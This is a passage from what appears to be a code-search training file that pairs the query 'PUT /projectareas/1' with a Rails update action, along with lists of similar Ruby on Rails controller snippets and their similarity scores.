"def area_params\n permitted = ProductionArea.globalize_attribute_names + [:edrpou_code, :site, :railway_track, :railway_distance,\n :trucks_road, :state_road_distance, :airport_distance,\n :total_area, :building_year, :free_floors_count,\n :free_floors, :production_area, :additional, :phone,\n :email, :rent_year, :sale, :date_info, :main_image,\n :gis_type_name, :status, :map_layer_id, :ownership_id,\n questionnaire_images_attributes: %i[id imgable_type\n imgable_id _destroy],\n questionnaire_file_attributes: %i[id fileable_type file\n fileable_id _destroy],\n geo_json_attributes: %i[id geo_type position],\n balancer_ids: [], infrastructure_type_ids: []]\n params.require(:production_area).permit(permitted)\n end",
"def create\n @interest_area = InterestArea.new(params[:interest_area])\n\n respond_to do |format|\n if @interest_area.save\n format.html { redirect_to @interest_area, notice: 'Interest area was successfully created.' }\n format.json { render json: @interest_area, status: :created, location: @interest_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interest_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @area = Area.new(area_params)\n @area.start_date = Date.today\n @area.active = true\n @area.status = \"in progress\"\n if @area.save\n redirect_to new_waste_info_path(area: @area), notice: \"#{@area.name} has been added to the system\"\n else\n flash[:error] = \"This area could not be created.\"\n render \"new\"\n end\n end",
"def create\n @roadmap = Roadmap.new(params[:roadmap])\n\t\t@roadmap.user_id = current_user.id\n\n respond_to do |format|\n if @roadmap.save\n flash[:notice] = 'Roteiro criado com sucesso.'\n format.html { redirect_to(@roadmap) }\n format.xml { render :xml => @roadmap, :status => :created, :location => @roadmap }\n else\n\t\t\t\n\t\t\t\t# Recarrega os estados e as cidades se possivel\n\t\t\t\tload_states_and_cities(@roadmap)\n\n format.html { render :action => \"new\" }\n format.xml { render :xml => @roadmap.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_village_project\n iframe_src = \"<iframe src='\" + root_url.sub(/\\/$/, '') + embed_project_path(@project) + \"' width='575' height='485'></iframe><p>This project created with <b><a href='\" + root_url + \"'>#{ENV[\"APP_NAME\"]}</a></b> and updated on \" + @project.updated_at.strftime(\"%A, %B %-d at %-I:%M %p\") +\"</p>\"\n iframe_src = iframe_src.html_safe.to_str\n village_user_ids = @project.village_user_ids\n response = access_token.post(\"/api/projects\", params: {project: {name: @project.title, project_type_id: 15, source: \"original\", description: iframe_src, thumbnail_file_id: 769508, user_ids: village_user_ids} })\n village_project_id = response.parsed[\"project\"][\"id\"]\n @project.update_attributes(:village_id => village_project_id)\n end",
"def create\n @post_code = PostCode.new(params[:post_code])\n @towns = Town.find :all \n @geo_positions = GeoPosition.find :all\n \n respond_to do |format|\n if @post_code.save\n flash[:notice] = 'PostCode was successfully created.'\n format.html { redirect_to(@post_code) }\n format.xml { render :xml => @post_code, :status => :created, :location => @post_code }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post_code.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def sub_area_params\n params.require(:sub_area).permit(:code_capes, :title, :description, :area_id)\n end",
"def create\n @post_geos = params[:post_geos].split(\"\\n\").map{|line| line.blank? ? nil : line.strip}.compact\n current_user.settings.post_geos = @post_geos\n\n respond_to do |format|\n format.html { redirect_to [:client,:post_geos], notice: 'Post category was successfully created.' }\n format.json { render json: @post_geo, status: :created, location: @post_geo }\n end\n end",
"def create\n @projecct = Projecct.new(params[:projecct])\n\n respond_to do |format|\n if @projecct.save\n format.html { redirect_to @projecct, notice: 'Projecct was successfully created.' }\n format.json { render json: @projecct, status: :created, location: @projecct }\n else\n format.html { render action: \"new\" }\n format.json { render json: @projecct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @area_type = AreaType.new(params[:area_type])\n\n respond_to do |format|\n if @area_type.save\n format.html { redirect_to @area_type, notice: 'Area type was successfully created.' }\n format.json { render json: @area_type, status: :created, location: @area_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def area_params\n params.require(:area).permit(:name, :city_id)\n end",
"def POST; end",
"def test_construct_location_empty_form\n login('mary')\n post(:create_location,\n :where => '',\n :approved_where => '',\n :location => {\n :display_name => ''\n }\n )\n end",
"def create\n require_user()\n @area_of_expertise = AreaOfExpertise.new(area_of_expertise_params)\n\n respond_to do |format|\n if @area_of_expertise.save\n format.html { redirect_to @area_of_expertise, notice: 'Area of expertise was successfully created.' }\n format.json { render :show, status: :created, location: @area_of_expertise }\n else\n format.html { render :new }\n format.json { render json: @area_of_expertise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @practice_area = PracticeArea.new(practice_area_params)\n\n respond_to do |format|\n if @practice_area.save\n format.html { redirect_to @practice_area, notice: 'Practice area was successfully created.' }\n format.json { render :show, status: :created, location: @practice_area }\n else\n format.html { render :new }\n format.json { render json: @practice_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n flash[:notice] = 'Project was successfully created.'\n format.html { redirect_to(:action=>'show', :ids=>@project) }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @area = Area.new(area_params)\n @area.skus = params[:area][:skus]\n respond_to do |format|\n if @area.save\n format.html { redirect_to admin_areas_path, notice: 'Area was successfully created.' }\n format.json { render :show, status: :created, location: @area }\n else\n format.html { render :new }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @projectarea = Projectarea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projectarea }\n end\n end",
"def create\n @city_area = current_user.cityAreas.build(city_area_params)\n\n respond_to do |format|\n if @city_area.save\n format.html { redirect_to @city_area, notice: \"City area was successfully created.\" }\n format.json { render :show, status: :created, location: @city_area }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @city_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = @namespace.projects.new(project_params)\n @project.group_id = @namespace.group_id\n @project.user_id = @namespace.user_id\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @namespace, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Admin::Project.new(project_params)\ndebugger\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render action: 'show', status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n neo = Neography::Rest.new\n city = neo.create_node(params[:city])\n redirect_to cities_path\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @carea = Carea.new(params[:carea])\n\n respond_to do |format|\n if @carea.save\n format.html { redirect_to(@carea, :notice => 'Carea was successfully created.') }\n format.xml { render :xml => @carea, :status => :created, :location => @carea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @carea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def upload_code_to_codeporting\r\n puts \"Now adding new project to code porting\"\r\n\r\n\tto_url = \"https://apps.codeporting.com/csharp2java/v0/newproject\"\r\n\tboundary = \"------------------------------8ceeb9a4afbe0e1\"\r\n\t#$token = \"8f8112d5-50b5-4c10-83e9-1e1d7c33f848\"\r\n\tparams = {\r\n\t\t\"token\" => \"#{$token}\",\r\n\t\t\"Test\" => FileUploadIO.new(\"#{$repo_key}.zip\", \"application/zip\")\r\n\t} \r\n\tmultipart_post = MultiPart::Post.new(params) # MultiPart::Post.new(params, some_extra_headers)\r\n\tres, dat = multipart_post.submit(\"https://apps.codeporting.com/csharp2java/v0/newproject\") # multipart_post.submit(to_url, query_string)\r\n\t#puts res\r\n\r\n\tdoc = REXML::Document.new(dat)\r\n\tretVal = \"\"\r\n\tdoc.each_element('//return') { |item| \r\n\t\tretVal = item.attributes['success']\r\n\t}\r\n\r\n\tif (retVal == \"True\")\r\n\t\tport_code\r\n\tend\r\n end",
"def create\n @ourproject = Ourproject.new(params[:ourproject])\n\n respond_to do |format|\n if @ourproject.save\n format.html { redirect_to @ourproject, notice: 'Ourproject was successfully created.' }\n format.json { render json: @ourproject, status: :created, location: @ourproject }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ourproject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def area_params\n params.require(:area).permit(:name, :theme_id, :label, :position, :navigation, :footer, :comments, :ascending, :mode, :paid, :restricted, array: [:sku])\n end"
] |
[
"0.6412374",
"0.5897453",
"0.58403254",
"0.5838494",
"0.579858",
"0.57751274",
"0.55490553",
"0.55028486",
"0.54609144",
"0.54419535",
"0.5338592",
"0.53223807",
"0.53205025",
"0.5317225",
"0.5298864",
"0.5267774",
"0.5253832",
"0.5233806",
"0.5231168",
"0.5231168",
"0.5230042",
"0.5220422",
"0.5209093",
"0.5200188",
"0.51817065",
"0.51745874",
"0.513699",
"0.5129724",
"0.5117775",
"0.5111333",
"0.5090297",
"0.5080661",
"0.50804764",
"0.5077827",
"0.5075161",
"0.5071035",
"0.5066995",
"0.50639784",
"0.505929",
"0.5059016",
"0.5052321",
"0.50427914",
"0.5003945",
"0.5001938",
"0.49901515",
"0.49880248",
"0.49852064",
"0.49849942",
"0.49700016",
"0.49584305",
"0.49565482",
"0.49506477",
"0.49465984",
"0.49449757",
"0.49445885",
"0.49402544",
"0.4936604",
"0.49361548",
"0.49349687",
"0.49316034",
"0.4931567",
"0.4925085",
"0.49244657",
"0.4921344",
"0.49212384",
"0.4915309",
"0.4914277",
"0.49071828",
"0.49067128",
"0.49020076",
"0.49000728",
"0.48983604",
"0.4897572",
"0.4895417",
"0.48871583",
"0.48850197",
"0.4881365",
"0.4870916",
"0.48660246",
"0.48644343",
"0.4864194",
"0.48495424",
"0.48483205",
"0.48442963",
"0.48430437",
"0.48418942",
"0.48362488",
"0.48298764",
"0.48285815",
"0.48270503",
"0.48259997",
"0.48244667",
"0.4822185",
"0.48191237",
"0.48191237",
"0.48191237",
"0.4817971",
"0.48163837",
"0.4813834",
"0.4813301"
] |
0.66089976
|
0
|
PUT /projectareas/1 PUT /projectareas/1.xml
|
def update
@projectarea = Projectarea.find(params[:id])
respond_to do |format|
if @projectarea.update_attributes(params[:projectarea])
flash[:notice] = 'Projectarea was successfully updated.'
format.html { redirect_to(@projectarea) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @projectarea.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update\n respond_to do |format|\n if @project_area.update(project_area_params)\n format.html { redirect_to @project_area, notice: 'Project area was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_area }\n else\n format.html { render :edit }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n flash[:notice] = 'Area was successfully updated.'\n format.html { redirect_to(@area) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n flash[:notice] = 'Area was successfully updated.'\n format.html { redirect_to(@area) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @map_area = MapArea.find(params[:id])\n respond_to do |format|\n if @map_area.update_attributes(params[:map_area])\n flash[:notice] = 'MapArea was successfully updated.'\n format.html { redirect_to map_areas_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @map_area = MapArea.find(params[:id])\n respond_to do |format|\n if @map_area.update_attributes(params[:map_area])\n flash[:notice] = 'MapArea was successfully updated.'\n format.html { redirect_to map_areas_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @area = Area.find(params[:id])\n \n respond_to do |format|\n if @area.update_attributes(params[:area])\n flash[:notice] = 'Area actualizado correctamente.'\n format.html { redirect_to(@area) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n #format.html { redirect_to(@area, :notice => \"#{@area.to_s} was successfully updated.\") }\n format.html { redirect_to(locations_url, :notice => \"#{@area.to_s} was successfully updated.\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area, notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area, notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area, notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_project_area\n @project_area = ProjectArea.find(params[:id])\n end",
"def update\n @errors = []\n @area = Area.find(params[:id])\n \n #Me fijo que haya seleccionado al menos un coordinador válido para el área.\n if !project_leaders_valid?(params[:area][:project_leaders].split(%r{,\\s*})) \n @errors = @errors.concat([\"Debe seleccionar un coordinador válido para el área \" + @area.name])\n end\n \n @area.attributes = params[:area]\n \n if @errors.empty? and @area.valid?\n @area.save\n \n #Actualizo los roles project_leader del área.\n #Primero saco todas los coordinadores que tiene el área. \n User.with_role_in_area('project_leader', @area).each do |user|\n user.has_no_role!(:project_leaders, @area)\n end\n \n #Agrego todos los nuevos project leaders al área. \n set_project_leaders(params[:area][:project_leaders].split(%r{,\\s*}), @area) \n end\n respond_with(@area)\n end",
"def update\n respond_to do |format|\n if @project_area_interest.update(project_area_interest_params)\n format.html { redirect_to @project_area_interest}\n format.json { render :show, status: :ok, location: @project_area_interest }\n else\n format.html { render :edit }\n format.json { render json: @project_area_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @area = Area.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @area.update_attributes(params[:area])\r\n format.html { redirect_to areas_url(domain_id: @area.domain_id), notice: 'Area was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @area.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n project = Project.where(:user_id => current_user[:id]).first\n project.loading = false\n project.optimized = false\n project.save\n @nodes = Node.where(:user_id => current_user[:id])\n if @nodes != nil\n @nodes.each do |node|\n node.jobnumber = nil\n node.vehicle_id = nil\n node.servicetime = nil\n node.tour_id = nil\n node.save\n end\n end\n format.html { redirect_to(root_path, :notice => 'Ihre Eingaben wurden erfolgreich gespeichert') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:recursos][:status] == '1'\n @count = count_of_resource\n save_multiples_recursos\n end\n respond_to do |format|\n if @area.update(area_params)\n format.html { redirect_to @area, notice: 'El Área fue modificada éxitosamente.' }\n format.json { render :show, status: :ok, location: @area }\n else\n format.html { render :edit }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n @openmapa = Openmapa.find(params[:id])\n\n respond_to do |format|\n if @openmapa.update_attributes(params[:openmapa])\n flash[:notice] = 'Openmapa was successfully updated.'\n format.html { redirect_to(@openmapa) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @openmapa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tarea = Tarea.find(params[:id])\n\n respond_to do |format|\n if @tarea.update_attributes(params[:tarea])\n flash[:notice] = 'Tarea actualizado correctamente.'\n format.html { redirect_to(@tarea.cargo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tarea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @area_attribute.update(area_attribute_params)\n format.html { redirect_to @area_attribute, notice: 'Area attribute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @area_attribute.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project_objective = ProjectObjective.find(params[:id])\n @project_objective.sub_project_objectives = @project_objective.sub_project_objectives || []\n @project_objective.sub_project_objectives.push(params[:project_objective][:sub_project_objectives])\n\n respond_to do |format|\n if @project_objective.save#update_attributes(params[:project_objective])\n format.html { redirect_to(edit_project_path(@project), :notice => 'Project objective was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => edit_project_path(@project), :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @projectarea = Projectarea.find(params[:id])\n @projectarea.destroy\n\n respond_to do |format|\n format.html { redirect_to(projectareas_url) }\n format.xml { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @project.save && @project.update_attributes(params[:project])\n format.html { redirect_to(@project,\n :notice => t('general.updated',\n :entity => t('project.entity_name'),\n :identifier => @project.name)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @interest_area = InterestArea.find(params[:id])\n\n respond_to do |format|\n if @interest_area.update_attributes(params[:interest_area])\n format.html { redirect_to @interest_area, notice: 'Interest area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interest_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path() }\n format.xml { head :ok }\n else\n @edit_mode = true\n @tasks = Task.find_all_by_project_id(@project.id)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n params[:project][:analysis_ids]\n \n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to :action => 'analyses', notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def project_update(project)\n raise Client::FileboundClientException.new('Id is required', 0) unless project[:projectId].greater_than_zero?\n put('/projects', nil, project)\n end",
"def update\n @project = @client.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to([@client, @project], notice: 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey_area = SurveyArea.find(params[:id])\n\n respond_to do |format|\n if @survey_area.update_attributes(params[:survey_area])\n format.html { redirect_to @survey_area, notice: 'Survey area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projectarea = Projectarea.new(params[:projectarea])\n\n respond_to do |format|\n if @projectarea.save\n flash[:notice] = 'Projectarea was successfully created.'\n format.html { redirect_to(@projectarea) }\n format.xml { render :xml => @projectarea, :status => :created, :location => @projectarea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @projectarea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @researcharea = Researcharea.find(params[:id])\n\n respond_to do |format|\n if @researcharea.update_attributes(params[:researcharea])\n format.html { redirect_to @researcharea, notice: 'Research area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @researcharea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:ids])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(:action=>'show', :ids=>@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\t\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to admin_projects_url, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n \tset_site_entities @project\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Salesforce::Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Salesforce::Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lab_area.update(lab_area_params)\n format.html { redirect_to @lab_area, notice: 'Lab area was successfully updated.' }\n format.json { render :show, status: :ok, location: @lab_area }\n else\n format.html { render :edit }\n format.json { render json: @lab_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @workspaces = current_user.workspaces\n @project = Project.find(params[:id])\n @workspace = Workspace.find(params[:workspace_id])\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to workspace_project_tasks_path(@workspace , @project), notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @area_type = AreaType.find(params[:id])\n\n respond_to do |format|\n if @area_type.update_attributes(params[:area_type])\n format.html { redirect_to @area_type, notice: 'Area type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'PUT'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'UpdateProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project\n\t\t\targs[:body]['Project'] = optional[:project]\n\t\tend\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def test_should_create_project_via_API_XML\r\n get \"/logout\"\r\n post \"/projects.xml\", :api_key=>'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n end",
"def update\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to([@project.user, @project], :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def update\n authenticate_user!\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project_area = ProjectArea.new(project_area_params)\n\n respond_to do |format|\n if @project_area.save\n format.html { redirect_to @project_area, notice: 'Project area was successfully created.' }\n format.json { render :show, status: :created, location: @project_area }\n else\n format.html { render :new }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @project.update(project_params)\r\n format.html { redirect_to @project }\r\n format.json { respond_with_bip(@project) }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { respond_with_bip(@project) }\r\n end\r\n end\r\n end",
"def index\n @project_areas = ProjectArea.all\n end",
"def update\n @project = Project.find(params[:id])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n handle_disciplines_projects\n \n=======\n\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @encounter_area_feature = EncounterAreaFeature.find(params[:id])\n\n respond_to do |format|\n if @encounter_area_feature.update_attributes(params[:encounter_area_feature])\n format.html { redirect_to(@encounter_area_feature, :notice => 'Encounter area feature was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @encounter_area_feature.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tarea.update(tarea_params)\n format.html { redirect_to @tarea, notice: 'Tarea was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarea }\n else\n format.html { render :edit }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @issue_area.update(issue_area_params)\n format.html { redirect_to @issue_area, notice: 'Issue area was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_area }\n else\n format.html { render :edit }\n format.json { render json: @issue_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @area_usuario = AreaUsuario.find(params[:id])\n\n respond_to do |format|\n if @area_usuario.update_attributes(params[:area_usuario])\n format.html { redirect_to @area_usuario, notice: 'Area usuario was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
